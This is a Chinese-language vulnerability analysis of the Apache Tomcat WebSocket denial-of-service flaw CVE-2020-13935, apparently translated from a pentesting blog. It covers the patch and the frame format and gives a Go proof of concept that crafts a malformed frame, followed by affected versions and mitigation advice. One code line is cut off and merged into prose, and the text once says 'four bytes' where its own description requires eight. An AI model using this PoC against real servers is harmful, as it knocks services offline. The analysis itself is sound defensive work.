在本文中,我们将与读者一起深入分析Apache Tomcat中的WebSocket漏洞。

概述

Apache Tomcat是一种Java应用程序服务器,常用于Web应用程序,我们在渗透测试中经常会遇到它。

在这篇文章中,我们将深入分析Apache Tomcat服务器中近期曝出的一个漏洞及其利用方法,以帮助该软件的用户评估其面临的业务风险。该漏洞是与WebSockets一起出现的拒绝服务漏洞,并且已分配了漏洞编号CVE-2020-13935

在渗透测试期间,我们经常会碰到用户运行过时版本的Apache Tomcat的情况。如果一个给定的版本包含漏洞,并且供应商(或维护者)已经发布了相应的安全更新,我们就会将该版本的软件归类为“过时的”。然而,有些漏洞只有在特定情况下才能被利用,而升级Web应用服务器的代价通常会比较高昂。因此,用户必须掌握简单明了的信息,才能对该漏洞是否影响特定产品以及是否值得升级做出明智的决定。不幸的是,并不是所有的供应商/维护者在安全方面都会提供简单明了的信息。

Apache Tomcat 9.0.37的版本说明显示,已于2020年7月发现并修复了一个漏洞,相关内容如下所示:

WebSocket框架中的有效载荷的长度未能进行正确验证,而无效的有效载荷长度可能会触发无限循环,最终,过多的有效载荷长度无效的请求可能导致拒绝服务。

实际上,由于这些信息含糊不清,导致以下疑惑:

· 无效的有效载荷长度由哪些部分构成?

· 发生的是哪种拒绝服务?CPU被耗尽,还是内存被耗尽?甚至直接发生崩溃?

· 在什么情况下应用程序容易受到攻击?Apache Tomcat何时解析WebSocket消息?

· 攻击者需要进行哪些投资?攻击过程是否需要大量带宽或计算能力?

· 如果无法升级的话,是否有变通的解决方案?

这些问题可以通过一些分析来回答,并且这也是我们渗透测试任务的一部分。

分析安全补丁

我们对Apache安全团队针对该漏洞的安全补丁进行了分析后发现,他们通过在java/org/apache/tomcat/websocket/wsFrameBase.java中添加了如下所示的代码,来修复该漏洞的(为了便于阅读,这里重新对代码进行了格式化):

// The most significant bit of those 8 bytes is required to be zero
// (see RFC 6455, section 5.2). If the most significant bit is set,
// the resulting payload length will be negative so test for that.
if (payloadLength < 0) {
    throw new WsIOException(
        new CloseReason(
            CloseCodes.PROTOCOL_ERROR,
            sm.getString("wsFrame.payloadMsbInvalid")
        )
    );
}

正如我们所看到的,这里添加了对有效载荷长度字段的额外检查,该字段的类型为long,如果值为负,则引发异常。但是有效载荷长度怎么可能是负值呢?

为了回答这个问题,让我们需要了解一下WebSocket数据帧的结构;根据相应RFC的描述:

0                   1                   2                   3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-------+-+-------------+-------------------------------+
|F|R|R|R| opcode|M| Payload len |    Extended payload length    |
|I|S|S|S|  (4)  |A|     (7)     |             (16/64)           |
|N|V|V|V|       |S|             |   (if payload len==126/127)   |
| |1|2|3|       |K|             |                               |
+-+-+-+-+-------+-+-------------+ - - - - - - - - - - - - - - - +
|     Extended payload length continued, if payload len == 127  |
+ - - - - - - - - - - - - - - - +-------------------------------+
|                               |Masking-key, if MASK set to 1  |
+-------------------------------+-------------------------------+
| Masking-key (continued)       |          Payload Data         |
+-------------------------------- - - - - - - - - - - - - - - - +
:                     Payload Data continued ...                :
+ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - +
|                     Payload Data continued ...                |
+---------------------------------------------------------------+

如上图所示,一个数据帧的前16位包含多个位标志以及7位有效载荷长度。如果将此有效载荷长度设置为127(二进制值为1111111),则应该使用所谓的64位的扩展有效载荷长度。此外,WebSocket RFC规定:

如果[7位有效载荷长度的值为]127,则后面的8个字节(最高有效位必须为0)将被解释为64位无符号整数,也就是有效载荷长度。

尽管该字段显然是一个64位无符号整数,但RFC却要求最高有效位为零,这似乎是一个特殊的选择。也许做出这种选择是为了提供与有符号版本的互操作性,但是却可能会引起混乱,甚至导致安全漏洞。

编写漏洞利用代码

接下来,我们将通过Go语言来实现概念验证代码。您可能会问为什么要用Go语言呢? 很简单,因为我们觉得Go是一门非常棒的语言,不仅支持并发性,同时还为WebSockets提供了许多好用的代码库。此外,我们还能够根据需要为任何平台交叉编译PoC。

下面,让我们按照规范要求构建这样一个WebSocket帧:它被Apache Tomcat解析时,有效载荷长度将是一个负值。首先,需要选择位标志FIN、RSV1、RSV2和RSV3的值。其中,标志位FIN用于指示消息的最后一帧。由于我们要发送的整个消息都包含在单个帧中,因此,我们将该位设置为1。而另外的三个RSV位是为将来使用和扩展WebSocket规范而保留的,因此,它们都被设置为0。此外,opcode字段(4位)用于表示发送的数据的类型,因此,该值必须有效,否则将丢弃该帧。就这里来说,由于要要发送的是一个简单的文本有效载荷,所以必须将该字段的值设置为1。同时,Go库github.com/gorilla/websocket还为我们提供了一个要用到的常量。这样,我们就可以构造恶意WebSocket帧的第一个字节了:

var buf bytes.Buffer
 
fin := 1
rsv1 := 0
rsv2 := 0
rsv3 := 0
opcode := websocket.TextMessage
 
buf.WriteByte(byte(fin<<7 | rsv1<<6 | rsv2<<5 | rsv3<<4 | opcode))

第二个字节的第一个二进制位是MASK位,在从客户端发送到服务器的帧中,MASK位必须设置为1。我们最感兴趣的部分是有效载荷长度,因为它的大小是可变的。如果WebSocket消息的有效载荷长度不超过125字节,则可直接在7位有效载荷长度字段中对长度进行编码。对于长度在126和65535之间的有效载荷,7位有效载荷长度字段将被设置为常数126,并且有效载荷长度在接下来的两个字节中被编码为16位无符号整数。对于较大的有效载荷,必须将7位有效载荷长度字段设置为127,并且接下来的四个字节将有效载荷长度编码为64位无符号整数。如前所述,对于以64位定义的有效载荷长度,根据规范,最高有效位(MSB)必须设置为零。为了在Apache Tomcat中触发易受攻击的代码路径,我们需要指定64位的有效载荷长度,并将MSB设置为1,因此,我们需要将7位有效载荷长度字段设置为11111111:

// always set the mask bit
// indicate 64 bit message length
buf.WriteByte(byte(1<<7 | 0b1111111))

为了构建一个有效载荷长度无效的数据帧,以触发Apache Tomcat实现中的错误行为,我们需要将后面八个字节设置为0xFF:

// set msb to 1, violating the spec and triggering the bug
buf.Write([]byte{0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF})

随后的四个字节是掩码密钥(masking key)。按照规范的要求,它必须是一个来自强熵源的32位随机值,但由于我们已经违反了规范,所以,我们不妨使用一个静态掩码密钥,以使代码更容易阅读:

// 4 byte masking key
// leave zeros for now, so we do not need to mask

maskingKey := []byte不过,实际有效载荷本身可以小于指定长度:

// write an incomplete message
buf.WriteString("test")

数据包的组装和传输代码如下所示。为了更好地进行测试,我们将在发送以下内容后,让连接继续保持打开状态30秒:

ws, _, err := websocket.DefaultDialer.Dial(url, nil)
 
if err != nil {
    return fmt.Errorf("dial: %s", err)
}
 
_, err = ws.UnderlyingConn().Write(buf.Bytes())
if err != nil {
    return fmt.Errorf("write: %s", err)
}
 
// keep the websocket connection open for some time
time.Sleep(30 * time.Second)

完整的概念验证代码可从github.com/RedTeamPentesting/CVE-2020-13935下载。

现在,我们只需运行go build命令,即可生成可执行文件。为了测试该程序,可以设置一个易受攻击的Apache Tomcat实例,并以安装时提供的WebSocket示例作为我们的测试目标:

$ ./tcdos ws://localhost:8080/examples/websocket/echoProgrammatic

这就是利用拒绝服务漏洞所需的全部操作。如果一个易受攻击的WebSocket端点现在成为我们的目标,并且向其发送多个恶意请求,那么它的CPU使用率将会迅速上升,服务器就会变得反应迟钝,直至毫无响应。

1.png

请注意,解析代码仅由实际需要WebSocket消息的端点触发。我们不能向任意的Tomcat HTTP端点发送这样的消息。

根据相应的漏洞描述,以下版本的Apache Tomcat将受到该漏洞的影响:

· 10.0.0-M1 to 10.0.0-M6

· 9.0.0.M1 to 9.0.36

· 8.5.0 to 8.5.56

· 7.0.27 to 7.0.104

安全建议

如果可能的话,请将您的Apache Tomcat服务器更新到最新版本。然而,在某些情况下,更新方案可能是不可行的,或成本太高。在这种情况下,您应该检测自己的产品是否存在漏洞。如上所述,该漏洞只能在WebSockets端点上触发。因此,禁用或限制对这些端点的访问能够缓解这个安全问题。请注意,内置的示例目录也包含处理WebSockets的端点。

以上就是所有的内容,祝大家阅读愉快!



Source link

Is your business effected by Cyber Crime?

If a cyber crime or cyber attack happens to you, you need to respond quickly. Cyber crime in its several formats such as online identity theft, financial fraud, stalking, bullying, hacking, e-mail fraud, email spoofing, invoice fraud, email scams, banking scam, CEO fraud. Cyber fraud can lead to major disruption and financial disasters. Contact Digitpol’s hotlines or respond to us online.

Digitpol is available 24/7. https://digitpol.com/cybercrime-investigation/

Email: info@digitpol.com
Europe +31558448040
UK +44 20 8089 9944
ASIA +85239733884